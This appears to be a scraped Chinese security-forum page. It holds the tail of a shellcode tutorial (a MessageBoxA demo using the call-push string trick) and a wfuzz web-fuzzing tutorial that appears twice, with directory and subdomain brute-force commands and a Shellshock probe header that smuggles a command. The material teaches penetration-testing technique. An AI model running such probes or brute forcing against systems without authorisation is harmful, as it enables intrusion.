0x6F, 0x72, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x00, 0x6A, 0x00,
0xFF, 0xD0, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3
};
004010ED 55 PUSH EBP
004010EE 8BEC MOV EBP,ESP
004010F0 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ; ESI = pParam
0[b]04010F3 68 6C6C0000 PUSH 6C6C
004010F8 68 33322E64 PUSH 642E3233
004010FD 68 75736572 PUSH 72657375[/b]
00401102 54 PUSH ESP ; - "user32.dll"
00401103 FF16 CALL DWORD PTR DS:[ESI] ; LoadLibraryA("user32.dll")
00401105 68 6F784100 PUSH 41786F
0040110A 68 61676542 PUSH 42656761
0040110F 68 4D657373 PUSH 7373654D
00401114 54 PUSH ESP ; - "MessageBoxA"
00401115 50 PUSH EAX ; - hMod
00401116 FF56 04 CALL DWORD PTR DS:[ESI+4] ; GetProcAddress(hMod, "MessageBoxA")
00401119 6A 00 PUSH 0 ; - MB_OK (0)
[b]0040111B E8 0C000000 CALL 0040112C
[/b]00401120 <ASCII> ; - "ReverseCore", 0
[b]0040112C E8 14000000 CALL 00401145[/b]
00401131 <ASCII> ; - "www.reversecore.com", 0
00401145 6A 00 PUSH 0 ; - hWnd (0)
00401147 FFD0 CALL EAX ; MessageBoxA(0, "www.reversecore.com", "ReverseCore", 0)
00401149 33C0 XOR EAX,EAX
0040114B 8BE5 MOV ESP,EBP
0040114D 5D POP EBP
0040114E C3 RETN
需要注意的是,在 32 位的操作系统中,PUSH 指令一次只能将 4 字节的数据压入栈。
所以在上例的 004010F3 地址处到 004010FD 处的三句 PUSH 指令都是为了将函数 LoadLibraryA 的参数:字符串“user32.dll”压入栈中。但这样也太过麻烦了。我们可以利用 call 指令的特性,从而一次性的把超过 4 字节的字符串压入栈中。
我们都知道 call 指令是先把下一条指令的地址压入栈中,然后 JMP(跳转) 到相应地址。由于我们要跳转的地址并不是一个真正的函数,所以也不会有 RETN 返回指令。所以在这里 call 指令就只是将我们的字符串压入栈中,然后转到下一条代码指令。实例 0040111B 和 0040112C 处的 call 指令都是为了将字符串压入栈中。这也是 call 指令的一个很有意思的用法。
初识wfuzz
渗透测试 • willeson 发表了文章 • 1 个评论 • 229 次浏览 • 2019-07-30 15:25
wfuzz 是一款Python开发的Web安全测试工具
wfuzz不仅仅是一个web扫描器:
wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。wfuzz是一个完全模块化的框架,这使得即使是Python初学者也能够进行开发和贡献代码。开发一个wfuzz插件是一件非常简单的事,通常只需几分钟。wfuzz提供了简洁的编程语言接口来处理wfuzz或Burpsuite获取到的HTTP请求和响应。这使得你能够在一个良好的上下文环境中进行手工测试或半自动化的测试,而不需要依赖web形式的扫描器。
1,wfuzz的基本使用
wfuzz的基本使用非常简单,只需要一个目标url和一个字典wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://www.secevery.com/FUZZ
如图中所示wfuzz的输出结果给我们提供了以下信息:ID:测试时的请求序号
Response:HTTP响应码
Lines:响应信息中的行数
Word:响应信息中的字数
Chars:响应信息中的字符数
Payload:当前使用的payload
wfuzz的输出使我们能分析web server 的响应,还可根据获得的HTTP响应信息过滤出我们想要的结果,比如过滤响应码/响应长度等等。
2,wfuzz的基础命令
使用-h和--help参数来获取基本帮助信息和详细帮助信息。wfuzz是一个完全的模块化的模式,你可以使用-e<<category>>
参数查看其中可以使用的模块,例如:
3,payload
wfuzz基于一个非常简单的概念:它用一个给定的payload来替换相应的FUZZ关键词的值,我们称FUZZ这样的关键词为占位符,这样更容易理解。一个wfuzz中的payload就是一个输入的源。使用wfuzz -e paylopad
查看wfuzz可以使用的参数。
#要想得到所有可用的payload列表,可以执行如下命令:wfuzz -e payloads
#关于payloads的更详细的信息可以通过以下命令获取:wfuzz -z help
#上面这个命令还可以使用--slice参数来对输出结果进行过滤:
1,指定一个payload
每个FUZZ占位符都必须为它指定相应的payload。指定一个payload时有几种方法:
命令比较长的方式是显式的定义payload的参数:$ wfuzz -z file --zP fn=/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ
另一个不太长的方式是只提供payload所需的默认参数:$ wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ
最后,短的方式是使用别名:$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt [url=http://xxxx.com/FUZZ我一般都使用最后一种。]http://xxxx.com/FUZZ[/url]我一般都使用最后一种
2,指定多个payload使用-w 或者-z 可以指定多个参数,这时相应的占位符应设置为FUZZ,FUZ1Z,FUZ2Z··········FUZnZ,下面的例子是我们同时爆破目录,文件,和后缀。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://xxxx.com/FUZZ/FUZ2ZFUZ3Z
4,过滤器
对wfuzz的结果时行过滤是非常重要的:
非常大的字典文件可以生成非常庞大的输出,并且把我们想要的结果淹没对HTTP响应的一些分类在实际攻击时是非常重要的,例如,为了查检一个SQLi的漏洞是否存在,我们必须能够将合理的响应和错误/不同的响应区分开。wfuzz可根据HTTP响应码和收到的响应的长度(字数,字符数或行数)来过滤。还可以用正则表达式。
过滤的方法有两种:隐藏或显示符合过滤条件的结果。
1,隐藏响应结果:
通过--hc --hl --hw --hh 可以达到隐藏某些结果的目的。
hc是响应码
hl是响应行数
hw是响应字数
hc是响应字符数
2,定向显示响应结果
显示响应结果的使用方法跟隐藏时的原理一样,只不过参数变为了:--sc,--sl,--sw,--sh。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 [url=http://192.168.21.151/FUZZ]http://192.168.21.151/FUZZ [/url]
会把状态码为404的过滤掉。如果想过滤多个条件的话只需要加多个隐藏条件,中间以逗号隔开。wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404,403 [url]http://192.168.21.151/FUZZ[/url]
用行数,字数,字符数来指定过滤规则,在当HTTP返回码相同的时候比较方便。比如,网站一般会指定一个自定义的错误页面,返回码是200,但实际上起到了一个404页面的作用,我们称之为软404。有的网站在用户访问不存在的文件或者目录时会跳到指定的页面,也给我们带来一些麻烦。
还有有些网站做泛解析策略,这些都能用过滤器解决。
以下面的网站为例。
xxxx.com 是一个使用泛解析策略的网站。wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z http://FUZZ.xxxx.com
下面我们过滤字符数为372。wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z --hc 372 http://FUZZ.xxxx.com
正常扫描。
5,使用Baseline
习惯上称Baseline为”基准线“。过滤器可以是某个HTTP响应的引用,这样的引用我们称为Baseline。
之前的使用--hh进行过滤的例子中,还可以使用下面的命令代替:wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl BBB http://192.168.21.195/FUZZ{notthere}
这里,{ }来指定第一次HTTP请求时用来替换FUZZ占位符的值,其响应将被标记为BBB,并用于过滤条件中。
使用正则表达式过滤:
在命令行中,参数--ss和--hs可以接受正则表达式来对返回的结果时行过滤。
详细例子请参考http://edge-security.blogspot.co.uk/2014/10/scan-for-shellshock-with-wfuzz.html$ wfuzz -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ重要关键词payload
payload为wfuzz生成的用于测试的特定字符串,一般情况下,会替代被测试URL中的FUZZ占位符。
当前版本中的wfuzz中可用payloads列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e payloads
Available payloads:
Name | Summary
------------------------------------------------------------------------------------------------------
guitab | 从可视化的标签栏中读取请求
dirwalk | 递归获得本地某个文件夹中的文件名
file | 获取一个文件当中的每个词
autorize | 获取autorize的测试结果Returns fuzz results' from autororize.
wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL
ipnet | 获得一个指定网络的IP地址列表
bing | 获得一个使用bing API搜索的URL列表 (需要 api key).
stdin | 获得从标准输入中的条目
list | 获得一个列表中的每一个元素,列表用以 - 符号分格
hexrand | 从一个指定的范围中随机获取一个hex值
range | 获得指定范围内的每一个数值
names | 从一个以 - 分隔的列表中,获取以组合方式生成的所有usernames值
burplog | 从BurpSuite的记录中获得测试结果
permutation | 获得一个在指定charset和length时的字符组合
buffer_overflow | 获得一个包含指定个数个A的字符串.
hexrange | 获得指定范围内的每一个hex值
iprange | 获得指定IP范围内的IP地址列表
burpstate | 从BurpSuite的状态下获得测试结果encoder
encoder的作用是将payload进行编码或加密。
wfuzz的encoder列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e encoders
Available encoders:
Category | Name | Summary
------------------------------------------------------------------------------------------------------------------------
url_safe, url | urlencode | 用`%xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码
html | html_escape | 将`&`,`<`,`>`转换为HTML安全的字符
html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符
hashes | base64 | 将给定的字符串中的所有字符进行base64编码
url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码
db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式
url | utf8 | 将所有字符以`\u00xx` 格式进行编码
hashes | md5 | 将给定的字符串进行md5加密
default | random_upper | 将字符串中随机字符变为大写
url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码
default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示
url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码
url | uri_hex | 将所有字符以`%xx` 格式进行编码
default | none | 不进行任何编码
hashes | sha1 | 将字符串进行sha1加密
url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码
url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码
url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码
html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码
db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式
db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式iterator
wfuzz的iterator提供了针对多个payload的处理方式。
itorators的列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e iterators
Available iterators:
Name | Summary
----------------------------------------------------------------------------------------------
product | 返回输入条目的笛卡尔积
zip | Retns an iterator that aggregates elements from each of the iterables.
chain | Returns an iterator returns elements from the first iterable until it is exhaust
| ed, then proceeds to the next iterable, until all of the iterables are exhausted
| (翻译不好,请自行理解)printer
wfuzz的printers用于控制输出打印。
printers列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e printers
Available printers:
Name | Summary
--------------------------------------------------
raw | `Raw` output format
json | Results in `json` format
csv | `CSV` printer ftw
magictree | Prints results in `magictree` format
html | Prints results in `html` format
(比较好懂,不再翻译)scripts
暂时不知道怎么使用
scripts列表如下: ┌─[michael@parrot]─[~]
└──╼ $wfuzz -e scripts
Available scripts:
Category | Name | Summary
----------------------------------------------------------------------------------------------------
default, passive | cookies | 查找新的cookies
default, passive | errors | 查找错误信息
passive | grep | HTTP response grep
active | screenshot | 用linux cutycapt tool 进行屏幕抓取
default, active, discovery | links | 解析HTML并查找新的内容
default, active, discovery | wc_extractor | 解析subversion的wc.db文件
default, passive | listing | 查找列目录漏洞
default, passive | title | 解析HTML页面的title
default, active, discovery | robots | 解析robots.txt文件来查找新内容
default, passive | headers | 查找服务器的返回头
default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件
default, active, discovery | svn_extractor | 解析 .svn/entries 文件
active, discovery | backups | 查找已知的备份文件名
default, active, discovery | sitemap | 解析 sitemap.xml 文件内置工具wfencode 工具
这是wfuzz自带的一个加密/解密(编码/反编码)工具,目前支持内建的encoders的加/解密。 ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -e base64 123456
MTIzNDU2
┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -d base64 MTIzNDU2
123456
wfpayload工具
wfpayload是payload生成工具 ┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfpayload -z range,0-10
0
1
2
3
4
5
6
7
8
9
10wxfuzz 工具
这个看源码是一个wxPython化的wfuzz,也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用,但是在ParrotOS和Kali上都无法正常安装成功,问题已在GitHub提交Issue,期待开发者的回复中…wfuzz命令中文帮助
这是wfuzz的主工具,我们平时使用的时候就是用这个。
先来看看帮助文档: ┌─[✗]─[michael@parrot]─[~]
└──╼ $wfuzz --help
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
FUZZ{baseline_value} FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。
Options:
-h/--help : 帮助文档
--help : 高级帮助文档
--version : Wfuzz详细版本信息
-e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表
--recipe <filename> : 从文件中读取参数
--dump-recipe <filename> : 打印当前的参数并保存成文档
--oF <filename> : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
-c : 彩色化输出
-v : 详细输出
-f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).
-o printer : 输出特定printer的输出结果
--interact : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
--dry-run : 打印测试结果,而并不发送HTTP请求
--prev : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
-p addr : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
-t N : 指定连接的并发数,默认为10
-s N : 指定请求的间隔时间,默认为0
-R depth : 递归路径探测,depth指定最大递归数量
-L,--follow : 跟随HTTP重定向
-Z : 扫描模式 (连接错误将被忽视).
--req-delay N : 设置发送请求允许的最大时间,默认为 90,单位为秒.
--conn-delay N : 设置连接等待的最大时间,默认为 90,单位为秒.
-A : 是 --script=default -v -c 的简写
--script= : 与 --script=default 等价
--script=<plugins> : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : 指定请求的URL
-m iterator : 指定一个处理payloads的迭代器 (默认为product)
-z payload : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].
编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.
还可使用编码各类名,如 url
使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤
--zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
--slice <filter> : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
-w wordlist : 指定一个wordlist文件,等同于 -z file,wordlist
-V alltype : 暴力测试所有GET/POST参数,无需指定占位符
-X method : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
-b cookie : 指定请求的cookie参数,可指定多个cookie
-d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
-H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
--basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目参考:https://www.freebuf.com/column/163553.html
查看全部
wfuzz 是一款Python开发的Web安全测试工具
wfuzz不仅仅是一个web扫描器:
- wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。
- wfuzz是一个完全模块化的框架,这使得即使是Python初学者也能够进行开发和贡献代码。开发一个wfuzz插件是一件非常简单的事,通常只需几分钟。
- wfuzz提供了简洁的编程语言接口来处理wfuzz或Burpsuite获取到的HTTP请求和响应。这使得你能够在一个良好的上下文环境中进行手工测试或半自动化的测试,而不需要依赖web形式的扫描器。
1,wfuzz的基本使用
wfuzz的基本使用非常简单,只需要一个目标url和一个字典
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://www.secevery.com/FUZZ
如图中所示wfuzz的输出结果给我们提供了以下信息:
ID:测试时的请求序号
Response:HTTP响应码
Lines:响应信息中的行数
Word:响应信息中的字数
Chars:响应信息中的字符数
Payload:当前使用的payload
wfuzz的输出使我们能分析web server 的响应,还可根据获得的HTTP响应信息过滤出我们想要的结果,比如过滤响应码/响应长度等等。
2,wfuzz的基础命令
使用-h和--help参数来获取基本帮助信息和详细帮助信息。wfuzz是一个完全的模块化的模式,你可以使用
-e<<category>>
参数查看其中可以使用的模块,例如:
3,payload
wfuzz基于一个非常简单的概念:它用一个给定的payload来替换相应的FUZZ关键词的值,我们称FUZZ这样的关键词为占位符,这样更容易理解。一个wfuzz中的payload就是一个输入的源。使用
wfuzz -e paylopad
查看wfuzz可以使用的参数。
#要想得到所有可用的payload列表,可以执行如下命令:
wfuzz -e payloads
#关于payloads的更详细的信息可以通过以下命令获取:
wfuzz -z help
#上面这个命令还可以使用--slice参数来对输出结果进行过滤:
1,指定一个payload
每个FUZZ占位符都必须为它指定相应的payload。指定一个payload时有几种方法:
命令比较长的方式是显式的定义payload的参数:
$ wfuzz -z file --zP fn=/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ
另一个不太长的方式是只提供payload所需的默认参数:
$ wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ
最后,短的方式是使用别名:
$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt [url=http://xxxx.com/FUZZ我一般都使用最后一种。]http://xxxx.com/FUZZ[/url]我一般都使用最后一种
2,指定多个payload使用-w 或者-z 可以指定多个参数,这时相应的占位符应设置为FUZZ,FUZ1Z,FUZ2Z··········FUZnZ,下面的例子是我们同时爆破目录,文件,和后缀。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://xxxx.com/FUZZ/FUZ2ZFUZ3Z
4,过滤器
对wfuzz的结果时行过滤是非常重要的:
非常大的字典文件可以生成非常庞大的输出,并且把我们想要的结果淹没对HTTP响应的一些分类在实际攻击时是非常重要的,例如,为了查检一个SQLi的漏洞是否存在,我们必须能够将合理的响应和错误/不同的响应区分开。wfuzz可根据HTTP响应码和收到的响应的长度(字数,字符数或行数)来过滤。还可以用正则表达式。
过滤的方法有两种:隐藏或显示符合过滤条件的结果。
1,隐藏响应结果:
通过--hc --hl --hw --hh 可以达到隐藏某些结果的目的。
hc是响应码
hl是响应行数
hw是响应字数
hc是响应字符数
2,定向显示响应结果
显示响应结果的使用方法跟隐藏时的原理一样,只不过参数变为了:--sc,--sl,--sw,--sh。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 [url=http://192.168.21.151/FUZZ]http://192.168.21.151/FUZZ [/url]
会把状态码为404的过滤掉。如果想过滤多个条件的话只需要加多个隐藏条件,中间以逗号隔开。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404,403 [url]http://192.168.21.151/FUZZ[/url]
用行数,字数,字符数来指定过滤规则,在当HTTP返回码相同的时候比较方便。比如,网站一般会指定一个自定义的错误页面,返回码是200,但实际上起到了一个404页面的作用,我们称之为软404。有的网站在用户访问不存在的文件或者目录时会跳到指定的页面,也给我们带来一些麻烦。
还有有些网站做泛解析策略,这些都能用过滤器解决。
以下面的网站为例。
xxxx.com 是一个使用泛解析策略的网站。
wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z http://FUZZ.xxxx.com
下面我们过滤字符数为372。
wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z --hc 372 http://FUZZ.xxxx.com
正常扫描。
5,使用Baseline
习惯上称Baseline为”基准线“。过滤器可以是某个HTTP响应的引用,这样的引用我们称为Baseline。
之前的使用--hh进行过滤的例子中,还可以使用下面的命令代替:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl BBB http://192.168.21.195/FUZZ{notthere}这里,{ }来指定第一次HTTP请求时用来替换FUZZ占位符的值,其响应将被标记为BBB,并用于过滤条件中。
使用正则表达式过滤:
在命令行中,参数--ss和--hs可以接受正则表达式来对返回的结果时行过滤。
详细例子请参考http://edge-security.blogspot.co.uk/2014/10/scan-for-shellshock-with-wfuzz.html
$ wfuzz -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ重要关键词payloadpayload为wfuzz生成的用于测试的特定字符串,一般情况下,会替代被测试URL中的FUZZ占位符。
当前版本中的wfuzz中可用payloads列表如下:
┌─[michael@parrot]─[~]encoder
└──╼ $wfuzz -e payloads
Available payloads:
Name | Summary
------------------------------------------------------------------------------------------------------
guitab | 从可视化的标签栏中读取请求
dirwalk | 递归获得本地某个文件夹中的文件名
file | 获取一个文件当中的每个词
autorize | 获取autorize的测试结果Returns fuzz results' from autororize.
wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL
ipnet | 获得一个指定网络的IP地址列表
bing | 获得一个使用bing API搜索的URL列表 (需要 api key).
stdin | 获得从标准输入中的条目
list | 获得一个列表中的每一个元素,列表用以 - 符号分格
hexrand | 从一个指定的范围中随机获取一个hex值
range | 获得指定范围内的每一个数值
names | 从一个以 - 分隔的列表中,获取以组合方式生成的所有usernames值
burplog | 从BurpSuite的记录中获得测试结果
permutation | 获得一个在指定charset和length时的字符组合
buffer_overflow | 获得一个包含指定个数个A的字符串.
hexrange | 获得指定范围内的每一个hex值
iprange | 获得指定IP范围内的IP地址列表
burpstate | 从BurpSuite的状态下获得测试结果
encoder的作用是将payload进行编码或加密。
wfuzz的encoder列表如下:
┌─[michael@parrot]─[~]iterator
└──╼ $wfuzz -e encoders
Available encoders:
Category | Name | Summary
------------------------------------------------------------------------------------------------------------------------
url_safe, url | urlencode | 用`%xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码
html | html_escape | 将`&`,`<`,`>`转换为HTML安全的字符
html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符
hashes | base64 | 将给定的字符串中的所有字符进行base64编码
url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码
db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式
url | utf8 | 将所有字符以`\u00xx` 格式进行编码
hashes | md5 | 将给定的字符串进行md5加密
default | random_upper | 将字符串中随机字符变为大写
url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码
default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示
url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码
url | uri_hex | 将所有字符以`%xx` 格式进行编码
default | none | 不进行任何编码
hashes | sha1 | 将字符串进行sha1加密
url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码
url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码
url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码
html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码
db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式
db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式
wfuzz的iterator提供了针对多个payload的处理方式。
itorators的列表如下:
┌─[michael@parrot]─[~]printer
└──╼ $wfuzz -e iterators
Available iterators:
Name | Summary
----------------------------------------------------------------------------------------------
product | 返回输入条目的笛卡尔积
zip | Retns an iterator that aggregates elements from each of the iterables.
chain | Returns an iterator returns elements from the first iterable until it is exhaust
| ed, then proceeds to the next iterable, until all of the iterables are exhausted
| (翻译不好,请自行理解)
wfuzz的printers用于控制输出打印。
printers列表如下:
┌─[michael@parrot]─[~]scripts
└──╼ $wfuzz -e printers
Available printers:
Name | Summary
--------------------------------------------------
raw | `Raw` output format
json | Results in `json` format
csv | `CSV` printer ftw
magictree | Prints results in `magictree` format
html | Prints results in `html` format
(比较好懂,不再翻译)
暂时不知道怎么使用
scripts列表如下:
┌─[michael@parrot]─[~]内置工具wfencode 工具
└──╼ $wfuzz -e scripts
Available scripts:
Category | Name | Summary
----------------------------------------------------------------------------------------------------
default, passive | cookies | 查找新的cookies
default, passive | errors | 查找错误信息
passive | grep | HTTP response grep
active | screenshot | 用linux cutycapt tool 进行屏幕抓取
default, active, discovery | links | 解析HTML并查找新的内容
default, active, discovery | wc_extractor | 解析subversion的wc.db文件
default, passive | listing | 查找列目录漏洞
default, passive | title | 解析HTML页面的title
default, active, discovery | robots | 解析robots.txt文件来查找新内容
default, passive | headers | 查找服务器的返回头
default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件
default, active, discovery | svn_extractor | 解析 .svn/entries 文件
active, discovery | backups | 查找已知的备份文件名
default, active, discovery | sitemap | 解析 sitemap.xml 文件
这是wfuzz自带的一个加密/解密(编码/反编码)工具,目前支持内建的encoders的加/解密。
┌─[michael@parrot]─[~/.wfuzz]wfpayload工具
└──╼ $wfencode -e base64 123456
MTIzNDU2
┌─[michael@parrot]─[~/.wfuzz]
└──╼ $wfencode -d base64 MTIzNDU2
123456
wfpayload是payload生成工具
┌─[michael@parrot]─[~/.wfuzz]wxfuzz 工具
└──╼ $wfpayload -z range,0-10
0
1
2
3
4
5
6
7
8
9
10
这个看源码是一个wxPython化的wfuzz,也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用,但是在ParrotOS和Kali上都无法正常安装成功,问题已在GitHub提交Issue,期待开发者的回复中…wfuzz命令中文帮助
这是wfuzz的主工具,我们平时使用的时候就是用这个。
先来看看帮助文档:
┌─[✗]─[michael@parrot]─[~]参考:https://www.freebuf.com/column/163553.html
└──╼ $wfuzz --help
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
FUZZ{baseline_value} FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。
Options:
-h/--help : 帮助文档
--help : 高级帮助文档
--version : Wfuzz详细版本信息
-e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表
--recipe <filename> : 从文件中读取参数
--dump-recipe <filename> : 打印当前的参数并保存成文档
--oF <filename> : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
-c : 彩色化输出
-v : 详细输出
-f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).
-o printer : 输出特定printer的输出结果
--interact : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
--dry-run : 打印测试结果,而并不发送HTTP请求
--prev : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
-p addr : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
-t N : 指定连接的并发数,默认为10
-s N : 指定请求的间隔时间,默认为0
-R depth : 递归路径探测,depth指定最大递归数量
-L,--follow : 跟随HTTP重定向
-Z : 扫描模式 (连接错误将被忽视).
--req-delay N : 设置发送请求允许的最大时间,默认为 90,单位为秒.
--conn-delay N : 设置连接等待的最大时间,默认为 90,单位为秒.
-A : 是 --script=default -v -c 的简写
--script= : 与 --script=default 等价
--script=<plugins> : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : 指定请求的URL
-m iterator : 指定一个处理payloads的迭代器 (默认为product)
-z payload : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].
编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.
还可使用编码各类名,如 url
使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤
--zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
--slice <filter> : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
-w wordlist : 指定一个wordlist文件,等同于 -z file,wordlist
-V alltype : 暴力测试所有GET/POST参数,无需指定占位符
-X method : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
-b cookie : 指定请求的cookie参数,可指定多个cookie
-d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
-H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
--basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
